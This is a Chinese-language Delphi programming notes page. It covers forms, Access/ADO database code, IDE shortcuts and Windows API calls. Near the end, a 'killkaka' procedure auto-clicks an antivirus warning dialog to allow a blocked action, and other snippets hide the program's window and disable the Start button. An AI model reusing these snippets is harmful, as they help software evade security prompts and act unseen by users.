Delphi笔记[三]

DELPHI 如何设置一个窗口不能最大化/最小化/还原功能?
设置窗体的BorderIcons属性的biMinimize和biMaximize为False,具体代码如下:

Form1.BorderIcons:=Form1.BorderIcons-[biMaximize];//除去最大化功能

OpenDialog1.InitialDir:=GetCurrentDir; //指定打开文件对话框初始显示当前目录

手动设置ACCESS数据库密码:
在设置数据库密码之前,需要以独占方式打开数据库。要以独占方式打开数据库:
1.如果数据库处于打开状态,关闭数据库。
2.单击“文件”菜单中的“打开”重新打开数据库。
3.在“打开”对话框中,找到数据库,单击“打开”按钮旁边的箭头,然后单击“以独占方式打开”。
要手动设置数据库密码:
1.在“工具”菜单中,指向“安全”,然后单击“设置数据库密码”。
2.在“密码”框中,键入密码。

Terminate是一个方法,它表示中断程序,退出总系统。如Form1.Terminate,Application.Terminate

Trim函数:删除字符串首部和尾部的空格。语法Trim ( string ) 参考:http://baike.baidu.com/view/926428.htm

Table组件:
方法:Open、Close、First、Prior、Next、Last
Table.MoveBy(Distance:integer):integer 将指针向前或向后移动到指定条数的记录,使之成为当前记录
Table.Locate(const KeyFields:string;const KeyValues:Variant;Option:TLocateOption):boolean; 在数据集中定位一条特定的记录,使之成为成前的记录。
Table.Lookup(const KeyFields:string;const KeyValues:Variant;const ResultFields:string):Variant; KeyFields是指定要按哪些字段搜索,KeyValues指定每个字段相应的值,ResultFields指定要返回哪些字段的值。

ClipBoard.Clear; 清除剪贴板,Delphi自带函数,在ClipBrd单元中,在进行剪贴板操作时最好先进行Clear工作。

连接有密码的ACCESS:
双击ADOTabel等控件,然后点击Build…按钮,在“提供者”页中选择“Microsoft Jet 4.0 OLE DB Provider”,然后点击“下一步”按钮,在“连接”页中选择要连接的Access数据库的路径和数据库的文件名.如果数据库没有密码,那就可以了,如果有密码,这时如果点“测试连接”按钮时,出现“初始化提供者时发生错误,测试连接失败,密码无效”的错误提示, 这时点“所有”页,然后双击“JetOLEDB:Database Password”,出现对话框,添入密码后,选择“连接”页中的“测试连接”按钮,出现“测试连接成功”的对话框。

StringGrid1.PopupMenu:=PopupMenu1; 要将PopupMenu指定到某个组件当中去

Memo1.Text:=RichEdit1.Text; //将内容复制到Memo中再保存,这样才不会有乱码
Memo1.Lines.SaveToFile(‘第’+Edit1.Text+’页.cpp’);

RichEdit1.Text:=ADOTable1.FieldByName(‘data’).AsString;返回为字段为data的当前数据

Edit2.SetFocus; 将句柄的焦点转移到Edit2上。

Label3.Caption := FormatDateTime(‘yyyy年m月d日’, Date);
Label5.Caption := FormatDateTime(‘h:mm:ss’, Time);Date和Time是函数

Edit1.Text := Format(‘%f’, [Num]);

StatusBar1.Panels[0].Text := ‘记录总数:’ + IntToStr(AdoTable1.RecordCount);
StatusBar1.Panels[1].Text := ‘当前记录:’ + IntToStr(AdoTable1.RecNo) + ‘ ‘;

Num := Num + ADOTable1.FieldByName(‘金额’).AsFloat;

ADOTable实现数据写入:
ADOTable1.Edit;
ADOTable1.FieldByName(‘品名’).AsString := Edit1.Text;
ADOTable1.FieldByName(‘数量’).AsString := Edit2.Text;
ADOTable1.FieldByName(‘单价’).AsString := Edit3.Text;
ADOTable1.FieldByName(‘金额’).AsString := Edit4.Text;
ADOTable1.Post;

Trim函数:删除字符串首部和尾部的空格。语法Trim ( string ) 参考:http://baike.baidu.com/view/926428.htm

Query组件:
DatabaseName属性连接指定数据库,SQL属性以字符串形式指定待执行的一条SQL语句,Params属性指定SQL语句参数。
Query1.SQL.Clear 清除原来的SELECE语句。
Query1.SQL.Add(string); 添加SELECT语句
Query1.Open;打开表,执行SELECT语句
if Query1.Active=True then Query1.Close;关闭数据库

Quotedstr函数,这个函数会在指定的字符串两侧自动加上符合语法要求的引号。

Delphi程序设计所用的快捷键:
设计窗体时的快捷键:
Del:删除所选组件
Esc:选择当前组件的容器对象
F11:在窗体、单元文件和对象检测器之间切换
F12:在窗体和代码编辑器之间切换
Ctrl+F12:显示查看单元对话框
Shift+F12:显示查看窗体对话框
Tab:移动焦点到下一组件
Shift+Tab:移动焦点到前一组件
方向键:在相近的组件中移动焦点
Ctrl+方向键:将所选组件的位置移动一个像素
Shift+方向键:以一个像素为单位改变组件大小
Ctrl+Shift+方向键:将所选组件移动一格
Shift+鼠标左键:选择多个组件

设计单元文件时的快捷键:
Ctrl+空格键:显示类变量的成员信息
Ctrl+Shift+空格:显示过程和函数的参数个数和各参数的类型信息
Ctrl+J:显示代码模板
Ctrl+鼠标左键:以超链接的方式打开鼠标指针所指的变量、函数和过程的声明、定义所在的单元。自动打开相应的单元并指向单元的定义和声明部分
Ctrl+Shift+上下键:实现光标所在位置的过程或函数的定义与代码的实现部分的切换
Ctrl+Shift+C:自动补全代码,在声明部分写出过程或函数声明语句,自动生成函数过程的框架
Ctrl+Shift+数字键:定义/取消一个书签
Ctrl+数字键:跳到一个预先定义的书签

设置窗体透明度:
form1.AlphaBlend := true;
form1.AlphaBlendValue := ScrollBar1.Position;其中ScrollBar1.Position为透明度的值,值为255时为全不透明。

beep;响铃警告,响一声。

文件类型:
faReadOnly 1 Read-only files
faHidden 2 Hidden files
faSysFile 4 System files
faVolumeID 8 Volume ID files
faDirectory 16 Directory files
faArchive 32 Archive files
faSymLink 64 Symbolic link
faAnyFile 71 Any file

ShellExecute(handle,”,p,0,0,1); 打开指定的文件,其它P为文件的路径字符串

function FileGetAttr(const FileName: string): Integer; 例:
Attrs := FileGetAttr(‘MyFile.sys’);
if Attrs and faHidden <> 0 then //这句意思是faHidden不在该文件的属性内
FileSetAttr(‘MyFile.sys’, Attrs -faHidden);

文件操作参考:http://zhidao.baidu.com/question/41309845.html?si=1

Form1.BorderIcons:=Form1.BorderIcons-[biMaximize]; //不能最大化
DragAcceptFiles(self.Handle,true);//设定接受拖动事件的句柄为本窗口
设置不能最大化的语句应该放在前面,否则拖动功能将没有效果

CreateEllipticRgn(int nLeftRect,int nTopRect,int nRightRect, int nBottomRect );//画一个椭圆

hCurrentWindow := GetWindow(Handle, GW_HWNDFIRST);
GW_HWNDNEXT GW_HWNDLAST 返回的句柄标识了在Z序最高端的相同类型的窗口
GetWindowText(hCurrentWindow, @szText, 255);把句柄为hCurrentWindow的窗口的标题考贝到缓冲区地址szText中,szText的最大长度255
WindowsNameListBox.Items.Add(StrPas(@szText));
hCurrentWindow:=GetWindow(hCurrentWindow, GW_HWNDNEXT);

BOOL GetCursorPos(
LPPOINT lpPoint // address of structure for cursor position
); //返回指定所在的位置坐标到TPoint类型变量lpPoint中

Form1.FormStyle := fsStayOnTop; 窗口始终在最顶端

按F7来到:
Application.Initialize; //初始化
Application.Title := ‘龙在天作品’;
Application.CreateForm(TForm1, Form1);
Application.ShowMainForm:=false; //不显示窗体,也就是说隐藏运行的功能。
Application.Run;

URLDownloadToFile(nil,’http://127.0.0.1/test.txt’,’d:\123.txt’,0,nil);
从网站下载东西保存到本地目录,引用单元 uses urlmon

procedure killkaka;
var
idid,hand,he:THandle;
begin
idid:=FindWindow(‘#32770′,nil); //获取句柄
IF idid <> 0 THEN //当获得句柄的时候
begin
    hand:=FindWindowEX(idid,0,’Button’,'拒绝本次动作’);//先获取拒绝本次动作的选项句柄
          if hand<>0 then//获得”拒绝本次动作”的句柄
          begin
           PostMessage(hand,wm_lbuttondown,0,0);
           PostMessage(hand,wm_lbuttonup,0,0);//将选项确定在允许此动作上
           he:=Findwindowex(idid,0,’Button’,'确定’);//获得”确定”的句柄
           PostMessage(he,wm_lbuttondown,0,0);
           PostMessage(he,wm_lbuttonup,0,0);//自动点击确定
          end;
end;
end;

function AnsiContainsText(const AText, ASubText: string): Boolean;
功能 返回字符串AText是否包含子串ASubText 说明 不区分大小写
function AnsiContainsStr(const AText, ASubText: string): Boolean;
功能 返回字符串AText是否包含子串ASubText 说明 区分大小写

ShowWindow(form1.Handle, SW_SHOWMINIMIZED);
SW_SHOW 以当前的大小和位置激活并显示窗体。
SW_SHOWMINIMIZED 激活并最小化现实窗体。
SW_SHOWMAXIMIZED 激活并最大化显示窗体。
SW_SHOWNOACTIVATE 以窗口最近一次的大小和状态显示窗口
SW_SHOWNOMAL 激活并显示一个窗口。如果窗口被最小化或最大化,系统将其恢复到原来的尺寸和大小
SW_SHOWNA 以窗口原来的状态显示窗口。激活窗口仍然维持激活状态
SW_MAXIMIZE 最大化指定的窗口
SW_MINIMIZE 最小化指定的窗体,并按顺序激活最上层的窗体。
SW_HIDE 隐藏这个窗体,并激活其他窗体。
SW_RESTORE 激活并显示窗体。如果窗体为最小化或者最大化,窗体恢复到原始大
小和置。应用程序当恢复一个最小化的窗体时将指定标记。
SW_SHOWMINNOACTIVE 最小化窗体,保持其激活状态。

ExitWindows(0, 0); 重启计算机
ShellExecute(0, nil, p, nil, nil, SW_NORMAL); p为文件路径名,打开一个文件
WinExec(‘Notepad.exe’, sw_Normal); 打开系统的记事本

获取文件大小:

var
SearchRec: TSearchRec;
begin
if FindFirst(FileName, faAnyFile, SearchRec) = 0 then//如果查找成功则返回0
    Result := SearchRec.Size
else
    Result := -1;   //error
end;

BOOL IsIconic(HWND hWnd);如果窗口已图标化(最小化),返回值为非零;如果窗口未图标化,返回值为零
BOOL SetForegroundWindow(HWND hWnd);如果窗口设入了前台,返回值为非零;如果窗口未被设入前台,返回值为零

FindWindow(‘Shell_TrayWnd’, nil) 返回为任务栏句柄
FindWindowEx(FindWindow(‘Shell_TrayWnd’, nil),0,’Button’,nil) 返回开始菜单

Rgn := CreateRectRgn(0, 0, 0, 0);
SetWindowRgn(FindWindowEx(FindWindow(‘Shell_TrayWnd’, nil),0,’Button’,nil),Rgn, true); //隐藏开始菜单
SetWindowRgn(FindWindowEx(FindWindow(‘Shell_TrayWnd’, nil),0,’Button’,nil),0,true); //显示开始菜单
EnableWindow(FindWindowEx(FindWindow(‘Shell_TrayWnd’, nil),0, ‘Button’, nil),false); //禁用开始菜单
EnableWindow(FindWindowEx(FindWindow(‘Shell_TrayWnd’, nil),0,’Button’,nil),true); //取消禁用菜单